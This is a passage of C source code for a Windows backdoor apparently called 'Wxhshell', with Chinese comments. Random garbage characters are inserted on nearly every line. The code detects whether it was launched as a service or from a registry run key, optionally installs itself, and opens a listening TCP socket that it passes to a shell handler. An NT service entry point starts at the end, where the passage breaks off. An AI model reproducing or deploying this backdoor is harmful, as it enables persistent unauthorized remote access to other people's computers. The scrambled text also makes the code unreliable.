ULONG UniqueProcessId; %N-f9o8
ULONG InheritedFromUniqueProcessId; Mhj.3nN
} PROCESS_BASIC_INFORMATION; km#Rh^
oSqkAAGz\
PROCNTQSIP NtQueryInformationProcess; 79Si^n1\
b!-F!Lq/+0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5"&{Egc_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;K<W<v5m0N
M8'
GbF=1
HANDLE hProcess; "G
@(AE(
PROCESS_BASIC_INFORMATION pbi; x 3?:"D2
d<^o@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hiA%Tq?
if(NULL == hInst ) return 0; B<uUf)t
H$n{|YO `
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C@[f Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vL:tuEE3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hb{G
RG70
4XL]~3 c
if (!NtQueryInformationProcess) return 0;
MfNguh
"~zQN(sR"P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bMpCQ
if(!hProcess) return 0; J+6bp0RIh
00)=3@D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jZvQMW
8g CQ0w<
CloseHandle(hProcess); P~"`Og+
j?rq%rQd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~%o?J"y
if(hProcess==NULL) return 0; $Sfx0?'
\%D/]"@r
HMODULE hMod; h q&2o
char procName[255]; n9Xs sl0
unsigned long cbNeeded; Kn<z<>vO
vg/:q>o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @`6db
a\m@I_r.N
CloseHandle(hProcess); 27!9LU
#=B~}
_
if(strstr(procName,"services")) return 1; // 以服务启动 &7\q1X&Rr
>B9|;,a
return 0; // 注册表启动 w\z6-qa
} ^Q$U.sN?R
MHVHEwr.{
// 主模块 e+5]l>3)f
int StartWxhshell(LPSTR lpCmdLine) K 6Gri>Um
{ fhZD[m#D
SOCKET wsl; ;0f?-W?1
BOOL val=TRUE; 'YcoF;&[C
int port=0; gqf*;Z eU
struct sockaddr_in door; elBmF#,j7
YQI&8~z
if(wscfg.ws_autoins) Install(); &91U(Go
s2-p-n
port=atoi(lpCmdLine); Iw0Q1bK(
l}$Pv?T,2
if(port<=0) port=wscfg.ws_port; /J"U`/
{4
[z1[4
WSADATA data; T53|*~u
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~#b&UR
q{W@J0U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *y;(c)_w/%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3d2|vQx,K
door.sin_family = AF_INET; ?4U|6|1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); y0R5YCq\":
door.sin_port = htons(port); 2sJj -3J
/=zzym~<>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pm-SDp>s
closesocket(wsl); tkFGGc}w\
return 1; wsyG~^>
} 6[<*C?
l%?D%'afN
if(listen(wsl,2) == INVALID_SOCKET) { U`D.cEMfH
closesocket(wsl); \@6nRs8b|N
return 1; (Z
YGfX
} *;~*S4/P
Wxhshell(wsl); / ;U
WSACleanup(); B*+3A!{s
idLysxN
return 0; QeYO)sc`
HCh;Xi
} @Fp-6J
!vU$^>zo~
// 以NT服务方式启动 L- -
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wL'tGAv
{ qYHAXc}$
DWORD status = 0; ^rI<